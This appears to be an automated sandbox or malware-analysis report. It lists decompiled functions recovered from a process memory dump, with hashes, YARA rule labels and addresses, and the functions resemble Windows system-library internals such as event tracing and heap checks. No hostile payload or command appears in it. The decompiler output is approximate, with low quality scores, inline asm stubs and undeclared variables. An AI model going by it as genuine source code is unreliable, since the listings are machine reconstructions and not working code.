Opcode Fuzzy Hash: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction Fuzzy Hash: 5601DF72210AC0DFD326C719C884F6677EDEB85740F064BE1FA1ACBA61D728EC81C221

Uniqueness

Uniqueness Score: -1.00%

Function 1E461074, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E461074(intOrPtr __ebx, signed int* __ecx, char __edx, void* __edi, intOrPtr _a4) {
				char _v8;
				void* _v11;
				unsigned int _v12;
				void* _v15;
				void* __esi;
				void* __ebp;
				char* _t16;
				signed int* _t35;

				_t22 = __ebx;
				_t35 = __ecx;
				_v8 = __edx;
				_t13 =  !( *__ecx) + 1;
				_v12 =  !( *__ecx) + 1;
				if(_a4 != 0) {
					E1E46165E(__ebx, 0x1e488ae4, (__edx -  *0x1e488b04 >> 0x14) + (__edx -  *0x1e488b04 >> 0x14), __edi, __ecx, (__edx -  *0x1e488b04 >> 0x14) + (__edx -  *0x1e488b04 >> 0x14), (_t13 >> 0x14) + (_t13 >> 0x14));
				}
				E1E45AFDE( &_v8,  &_v12, 0x8000,  *((intOrPtr*)(_t35 + 0x34)),  *((intOrPtr*)(_t35 + 0x38)));
				if(E1E3B7D50() == 0) {
					_t16 = 0x7ffe0388;
				} else {
					_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				if( *_t16 != 0) {
					_t16 = E1E44FE3F(_t22, _t35, _v8, _v12);
				}
				return _t16;
			}

0x1e461074
0x1e461080
0x1e461082
0x1e46108a
0x1e46108f
0x1e461093
0x1e4610ab
0x1e4610ab
0x1e4610c3
0x1e4610cf
0x1e4610e1
0x1e4610d1
0x1e4610da
0x1e4610da
0x1e4610e9
0x1e4610f5
0x1e4610f5
0x1e4610fe

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e913622fa25ba82bfc2aabe89902077404771638b3656aecbe22446f02a398f
Instruction ID: 25f1fd4e63cfd5381caa940e51069cc06ecd0b6b7e3cfbceaa1c98a74b728e6d
Opcode Fuzzy Hash: 7e913622fa25ba82bfc2aabe89902077404771638b3656aecbe22446f02a398f
Instruction Fuzzy Hash: 6201D8765047819FCB01DF65D944B1AB7E5ABC8310F008B1AF88A83B91DF71E941CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1E468ED6, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E1E468ED6(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				short _v62;
				char _v68;
				signed char* _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t42;
				signed int _t43;

				_t40 = __edx;
				_v8 =  *0x1e48d360 ^ _t43;
				_v28 = __ecx;
				_v62 = 0x1c2a;
				_v36 =  *((intOrPtr*)(__edx + 0xc8));
				_v32 =  *((intOrPtr*)(__edx + 0xcc));
				_v20 =  *((intOrPtr*)(__edx + 0xd8));
				_v16 =  *((intOrPtr*)(__edx + 0xd4));
				_v24 = __edx;
				_v12 = ( *(__edx + 0xde) & 0x000000ff) >> 0x00000001 & 0x00000001;
				if(E1E3B7D50() == 0) {
					_t29 = 0x7ffe0386;
				} else {
					_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v68);
				_push(0x1c);
				_push(0x20402);
				_push( *_t29 & 0x000000ff);
				return E1E3DB640(E1E3D9AE0(), _t35, _v8 ^ _t43, _t40, _t41, _t42);
			}

0x1e468ed6
0x1e468ee5
0x1e468eed
0x1e468ef0
0x1e468efa
0x1e468f03
0x1e468f0c
0x1e468f15
0x1e468f24
0x1e468f27
0x1e468f31
0x1e468f43
0x1e468f33
0x1e468f3c
0x1e468f3c
0x1e468f4e
0x1e468f4f
0x1e468f51
0x1e468f56
0x1e468f69

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16824f2ed89c81370b3dc0061ca942d1ee1eaca408b6f63c72820374ae799cb7
Instruction ID: 6b95f653b9d315e1014820e5108bc7e6e5a7d5b9004abdd90e4a384907bddbe8
Opcode Fuzzy Hash: 16824f2ed89c81370b3dc0061ca942d1ee1eaca408b6f63c72820374ae799cb7
Instruction Fuzzy Hash: 7D110C75A002599FDB04DFA9D441AAEF7F4FB08300F0446AAE519EB782E6349940CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E468A62, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E1E468A62(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char* _t18;
				signed int _t32;

				_t29 = __edx;
				_v12 =  *0x1e48d360 ^ _t32;
				_t31 = _a8;
				_t30 = _a12;
				_v66 = 0x1c20;
				_v40 = __ecx;
				_v36 = __edx;
				_v32 = _a4;
				_v28 = _a8;
				_v24 = _a12;
				if(E1E3B7D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v72);
				_push(0x14);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E1E3DB640(E1E3D9AE0(), 0x1c20, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x1e468a62
0x1e468a71
0x1e468a79
0x1e468a82
0x1e468a85
0x1e468a89
0x1e468a8c
0x1e468a8f
0x1e468a92
0x1e468a95
0x1e468a9f
0x1e468ab1
0x1e468aa1
0x1e468aaa
0x1e468aaa
0x1e468abc
0x1e468abd
0x1e468abf
0x1e468ac4
0x1e468ada

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8110f364672def624743129cfa114ba444efb963cb540e7cfd715482031afbcb
Instruction ID: 43710fba8e1dc107b3f4e57a4344ce3807cc5f58dd8b5c48404c29aa782215f8
Opcode Fuzzy Hash: 8110f364672def624743129cfa114ba444efb963cb540e7cfd715482031afbcb
Instruction Fuzzy Hash: FE015AB6A00218AFCB00CFA9D9419AEB7B8FF48300F10455AF900E7340D734A9008BA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E39DB60, Relevance: .0, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E39DB60(signed int __ecx) {
				intOrPtr* _t9;
				void* _t12;
				void* _t13;
				intOrPtr _t14;

				_t9 = __ecx;
				_t14 = 0;
				if(__ecx == 0 ||  *((intOrPtr*)(__ecx)) != 0) {
					_t13 = 0xc000000d;
				} else {
					_t14 = E1E39DB40();
					if(_t14 == 0) {
						_t13 = 0xc0000017;
					} else {
						_t13 = E1E39E7B0(__ecx, _t12, _t14, 0xfff);
						if(_t13 < 0) {
							L1E39E8B0(__ecx, _t14, 0xfff);
							L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t14);
							_t14 = 0;
						} else {
							_t13 = 0;
							 *((intOrPtr*)(_t14 + 0xc)) =  *0x7ffe03a4;
						}
					}
				}
				 *_t9 = _t14;
				return _t13;
			}

0x1e39db64
0x1e39db66
0x1e39db6b
0x1e39dbaa
0x1e39db71
0x1e39db76
0x1e39db7a
0x1e39dba3
0x1e39db7c
0x1e39db87
0x1e39db8b
0x1e3f4fa1
0x1e3f4fb3
0x1e3f4fb8
0x1e39db91
0x1e39db96
0x1e39db98
0x1e39db98
0x1e39db8b
0x1e39db7a
0x1e39db9d
0x1e39dba2

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction ID: 18536f6e7ac518e29d0ca29617dd7dd0081bba2656adfc6281c274949be1d8d6
Opcode Fuzzy Hash: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction Fuzzy Hash: F5F0FC37201663DBD3225A964899F1776DA8FC1B60F560735F1059B344CB70CC02A7E1

Uniqueness

Uniqueness Score: -1.00%

Function 1E39B1E1, Relevance: .0, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E39B1E1(intOrPtr __ecx, char __edx, char _a4, signed short* _a8) {
				signed char* _t13;
				intOrPtr _t22;
				char _t23;

				_t23 = __edx;
				_t22 = __ecx;
				if(E1E3B7D50() != 0) {
					_t13 = ( *[fs:0x30])[0x50] + 0x22a;
				} else {
					_t13 = 0x7ffe0384;
				}
				if( *_t13 != 0) {
					_t13 =  *[fs:0x30];
					if((_t13[0x240] & 0x00000004) == 0) {
						goto L3;
					}
					if(E1E3B7D50() == 0) {
						_t13 = 0x7ffe0385;
					} else {
						_t13 = ( *[fs:0x30])[0x50] + 0x22b;
					}
					if(( *_t13 & 0x00000020) == 0) {
						goto L3;
					}
					return E1E417016(0x14a4, _t22, _t23, _a4, _a8, 0);
				} else {
					L3:
					return _t13;
				}
			}

0x1e39b1e8
0x1e39b1ea
0x1e39b1f3
0x1e3f4a17
0x1e39b1f9
0x1e39b1f9
0x1e39b1f9
0x1e39b201
0x1e3f4a21
0x1e3f4a2e
0x00000000
0x00000000
0x1e3f4a3b
0x1e3f4a4d
0x1e3f4a3d
0x1e3f4a46
0x1e3f4a46
0x1e3f4a55
0x00000000
0x00000000
0x00000000
0x1e39b20a
0x1e39b20a
0x1e39b20a
0x1e39b20a

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction ID: 1bbd826645908d297ba984847b767c7626a0af3522321cc0794cb0808ce3fe1a
Opcode Fuzzy Hash: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction Fuzzy Hash: BD01F4322006C0DBD712875AC804F497BDAEF41790F0907A5F9158B6B1D778D800D319

Uniqueness

Uniqueness Score: -1.00%

Function 1E42FE87, Relevance: .0, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E1E42FE87(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_v8 =  *0x1e48d360 ^ _t35;
				_v16 = __ecx;
				_v54 = 0x1722;
				_v24 =  *(__ecx + 0x14) & 0x00ffffff;
				_v28 =  *((intOrPtr*)(__ecx + 4));
				_v20 =  *((intOrPtr*)(__ecx + 0xc));
				if(E1E3B7D50() == 0) {
					_t21 = 0x7ffe0382;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x228;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E1E3DB640(E1E3D9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x1e42fe96
0x1e42fe9e
0x1e42fea1
0x1e42fead
0x1e42feb3
0x1e42feb9
0x1e42fec3
0x1e42fed5
0x1e42fec5
0x1e42fece
0x1e42fece
0x1e42fee0
0x1e42fee1
0x1e42fee3
0x1e42fee8
0x1e42fefb

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b128019aae67ac356afe9a2ad87356ff636fec1cc3149441df5b7ca1b03563b2
Instruction ID: 12c90689e96f41c192db2fffcdd75ceba893e84899e390dedd65e0e65783eb69
Opcode Fuzzy Hash: b128019aae67ac356afe9a2ad87356ff636fec1cc3149441df5b7ca1b03563b2
Instruction Fuzzy Hash: 28016275A00249AFCB04DFA8D541A6EB7F4FF04300F544669A505EB382D635E901CB40

Uniqueness

Uniqueness Score: -1.00%

Function 1E468F6A, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E1E468F6A(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x1e48d360 ^ _t32;
				_v16 = __ecx;
				_v50 = 0x1c2c;
				_v24 = _a4;
				_v20 = _a8;
				_v12 = __edx;
				if(E1E3B7D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x402);
				_push( *_t18 & 0x000000ff);
				return E1E3DB640(E1E3D9AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x1e468f6a
0x1e468f79
0x1e468f81
0x1e468f84
0x1e468f8b
0x1e468f91
0x1e468f94
0x1e468f9e
0x1e468fb0
0x1e468fa0
0x1e468fa9
0x1e468fa9
0x1e468fbb
0x1e468fbc
0x1e468fbe
0x1e468fc3
0x1e468fd6

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c2ca29ed946ad2f7bb2bc6f7c68b54562a940db5ceff1372e3c033c5a746a4e
Instruction ID: bce181ccfb9abbf52709d733f19d7dfb80e1b3cbc1483954320937804d94e3e2
Opcode Fuzzy Hash: 6c2ca29ed946ad2f7bb2bc6f7c68b54562a940db5ceff1372e3c033c5a746a4e
Instruction Fuzzy Hash: 62013C75A01248AFDB04DFA8D545AAEB7F4FF48300F50455AB905EB380EB74EA00CB94

Uniqueness

Uniqueness Score: -1.00%

Function 1E45131B, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E1E45131B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x1e48d360 ^ _t32;
				_v20 = _a4;
				_v12 = _a8;
				_v24 = __ecx;
				_v16 = __edx;
				_v50 = 0x1021;
				if(E1E3B7D50() == 0) {
					_t18 = 0x7ffe0380;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E1E3DB640(E1E3D9AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x1e45131b
0x1e45132a
0x1e451330
0x1e451336
0x1e45133e
0x1e451341
0x1e451344
0x1e45134f
0x1e451361
0x1e451351
0x1e45135a
0x1e45135a
0x1e45136c
0x1e45136d
0x1e45136f
0x1e451374
0x1e451387

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f046ffdbb03afffe208bda012a9e72f24aeb9cf1e24f899073d00b4a630bc171
Instruction ID: 22fd7526199634ab9c2771566f1d810eb170e17c05e3fdff63a0883bc281268f
Opcode Fuzzy Hash: f046ffdbb03afffe208bda012a9e72f24aeb9cf1e24f899073d00b4a630bc171
Instruction Fuzzy Hash: 87013C75A01658AFCB04DFA9D555AAEB7F4FF08700F40456AF845EB381E774EA00CB54

Uniqueness

Uniqueness Score: -1.00%

Function 1E451608, Relevance: .0, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E1E451608(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t15;
				intOrPtr _t21;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_t26 = __edx;
				_v8 =  *0x1e48d360 ^ _t29;
				_v12 = _a4;
				_v20 = __ecx;
				_v16 = __edx;
				_v46 = 0x1024;
				if(E1E3B7D50() == 0) {
					_t15 = 0x7ffe0380;
				} else {
					_t15 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v52);
				_push(0xc);
				_push(0x20402);
				_push( *_t15 & 0x000000ff);
				return E1E3DB640(E1E3D9AE0(), _t21, _v8 ^ _t29, _t26, _t27, _t28);
			}

0x1e451608
0x1e451617
0x1e45161d
0x1e451625
0x1e451628
0x1e45162b
0x1e451636
0x1e451648
0x1e451638
0x1e451641
0x1e451641
0x1e451653
0x1e451654
0x1e451656
0x1e45165b
0x1e45166e

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed0589068a1ca584cc30e1c5cfd4f47bfd1753aac42cf9e52e1c6e5a9994d1a2
Instruction ID: bedba62397004e15f5bfab6fe8866317c1cbed90463cfecf89f133d6c8ca088d
Opcode Fuzzy Hash: ed0589068a1ca584cc30e1c5cfd4f47bfd1753aac42cf9e52e1c6e5a9994d1a2
Instruction Fuzzy Hash: 12F0AF75A00658AFCB04DFA8D445EAEB7F4EF04300F44455AA901EB381E670A900CB44

Uniqueness

Uniqueness Score: -1.00%

Function 1E3BC577, Relevance: .0, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E3BC577(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx + 0xdd)) != 0 || E1E3BC5D5(__ecx, _t19) == 0 ||  *((intOrPtr*)(__ecx + 4)) != 0x1e3711cc ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					__eflags = _a4;
					if(__eflags != 0) {
						L10:
						E1E4688F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags == 0) {
						goto L10;
					}
					goto L9;
				} else {
					return 1;
				}
			}

0x1e3bc577
0x1e3bc57d
0x1e3bc581
0x1e3bc5b5
0x1e3bc5b9
0x1e3bc5ce
0x1e3bc5ce
0x1e3bc5ca
0x00000000
0x1e3bc5ca
0x1e3bc5c4
0x1e3bc5c8
0x00000000
0x00000000
0x00000000
0x1e3bc5ad
0x00000000
0x1e3bc5af

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26d2430df9126484271b9d7f29ff92ea46943cca358eb9f567780e0ca61644c3
Instruction ID: d41fb0946cc5db9bc05ce875d0ddd71e0db8b307b13d9786dc2b9ddbdb0f20f9
Opcode Fuzzy Hash: 26d2430df9126484271b9d7f29ff92ea46943cca358eb9f567780e0ca61644c3
Instruction Fuzzy Hash: 1EF0BEB29256D19FD339CB27C040B037BFA9B09670F818B6BD60787E01C7A4DC80C250

Uniqueness

Uniqueness Score: -1.00%

Function 1E468D34, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E1E468D34(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v42;
				char _v48;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr _t24;
				intOrPtr _t25;
				signed int _t26;

				_t23 = __edx;
				_v8 =  *0x1e48d360 ^ _t26;
				_v16 = __ecx;
				_v42 = 0x1c2b;
				_v12 = __edx;
				if(E1E3B7D50() == 0) {
					_t12 = 0x7ffe0386;
				} else {
					_t12 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v48);
				_push(8);
				_push(0x20402);
				_push( *_t12 & 0x000000ff);
				return E1E3DB640(E1E3D9AE0(), _t18, _v8 ^ _t26, _t23, _t24, _t25);
			}

0x1e468d34
0x1e468d43
0x1e468d4b
0x1e468d4e
0x1e468d52
0x1e468d5c
0x1e468d6e
0x1e468d5e
0x1e468d67
0x1e468d67
0x1e468d79
0x1e468d7a
0x1e468d7c
0x1e468d81
0x1e468d94

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b24cca23751ebc5a8769c26385d07e83049691dff3d2fff363f6f1aaeebb96c9
Instruction ID: e604bbf378eb91e5f6e47870306088d12d2b1bbc27b1f90be28fce7e47c13ef4
Opcode Fuzzy Hash: b24cca23751ebc5a8769c26385d07e83049691dff3d2fff363f6f1aaeebb96c9
Instruction Fuzzy Hash: F8F09075A047489FD704DBB8D441A6EB7B4EB18300F508599E905EB280DA34E9008B54

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D927A, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E1E3D927A(void* __ecx) {
				signed int _t11;
				void* _t14;

				_t11 = L1E3B4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x98);
				if(_t11 != 0) {
					E1E3DFA60(_t11, 0, 0x98);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *(_t11 + 0x1c) =  *(_t11 + 0x1c) & 0x00000000;
					 *((intOrPtr*)(_t11 + 0x24)) = 1;
					E1E3D92C6(_t11, _t14);
				}
				return _t11;
			}

0x1e3d9295
0x1e3d9299
0x1e3d929f
0x1e3d92aa
0x1e3d92ad
0x1e3d92ae
0x1e3d92af
0x1e3d92b0
0x1e3d92b4
0x1e3d92bb
0x1e3d92bb
0x1e3d92c5

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction ID: 835d07ee8c18b8336da6dc2cc25d603d6fc9db07c4aa5cb1e699ee4a5b14a5d1
Opcode Fuzzy Hash: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction Fuzzy Hash: E0E02233340A802BE7118E0ACCC0F4337AEEF82720F094578B9001E282CBE6EC0C87A0

Uniqueness

Uniqueness Score: -1.00%

Function 1E452073, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E1E452073(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				void* __esi;
				signed char _t3;
				signed char _t7;
				void* _t19;

				_t17 = __ecx;
				_t3 = E1E44FD22(__ecx);
				_t19 =  *0x1e48849c - _t3; // 0x213c4b25
				if(_t19 == 0) {
					__eflags = _t17 -  *0x1e488748; // 0x0
					if(__eflags <= 0) {
						E1E451C06();
						_t3 =  *((intOrPtr*)( *[fs:0x30] + 2));
						__eflags = _t3;
						if(_t3 != 0) {
							L5:
							__eflags =  *0x1e488724 & 0x00000004;
							if(( *0x1e488724 & 0x00000004) == 0) {
								asm("int3");
								return _t3;
							}
						} else {
							_t3 =  *0x7ffe02d4 & 0x00000003;
							__eflags = _t3 - 3;
							if(_t3 == 3) {
								goto L5;
							}
						}
					}
					return _t3;
				} else {
					_t7 =  *0x1e488724; // 0x0
					return E1E448DF1(__ebx, 0xc0000374, 0x1e485890, __edi, __ecx,  !_t7 >> 0x00000002 & 0x00000001,  !_t7 >> 0x00000002 & 0x00000001);
				}
			}

0x1e452076
0x1e452078
0x1e45207d
0x1e452083
0x1e4520a4
0x1e4520aa
0x1e4520ac
0x1e4520b7
0x1e4520ba
0x1e4520bc
0x1e4520c9
0x1e4520c9
0x1e4520d0
0x1e4520d2
0x00000000
0x1e4520d2
0x1e4520be
0x1e4520c3
0x1e4520c5
0x1e4520c7
0x00000000
0x00000000
0x1e4520c7
0x1e4520bc
0x1e4520d4
0x1e452085
0x1e452085
0x1e4520a3
0x1e4520a3

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d829b382d090ce59f5d4a6f5bc00252c4d531006636b1d3d87dd0c8fb94b5654
Instruction ID: 440ff47beea6d48d62fbf8ac25e8e3c7aecb69db402929790446fb614b6a3548
Opcode Fuzzy Hash: d829b382d090ce59f5d4a6f5bc00252c4d531006636b1d3d87dd0c8fb94b5654
Instruction Fuzzy Hash: 61F0276A4232E54BFE275B6534417C1ABF2CF49D10F5A1A4BE69017304C634D883CA18

Uniqueness

Uniqueness Score: -1.00%

Function 1E394F2E, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E394F2E(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0) {
					L6:
					__eflags = _a4;
					if(__eflags != 0) {
						L8:
						E1E4688F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags != 0) {
						goto L9;
					}
					goto L8;
				}
				_t18 = __ecx + 0x30;
				if(E1E3BC5D5(__ecx + 0x30, _t19) == 0 ||  *((intOrPtr*)(__ecx + 0x34)) != 0x1e371030 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L6;
				} else {
					return 1;
				}
			}

0x1e394f2e
0x1e394f34
0x1e394f38
0x1e3f0b85
0x1e3f0b85
0x1e3f0b89
0x1e3f0b9a
0x1e3f0b9a
0x1e3f0b9f
0x00000000
0x1e3f0b9f
0x1e3f0b94
0x1e3f0b98
0x00000000
0x00000000
0x00000000
0x1e3f0b98
0x1e394f3e
0x1e394f48
0x00000000
0x1e394f6e
0x00000000
0x1e394f70

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 662ed81043b466d68e4d3d071339403e75bbe760093195f03237aaf31196044d
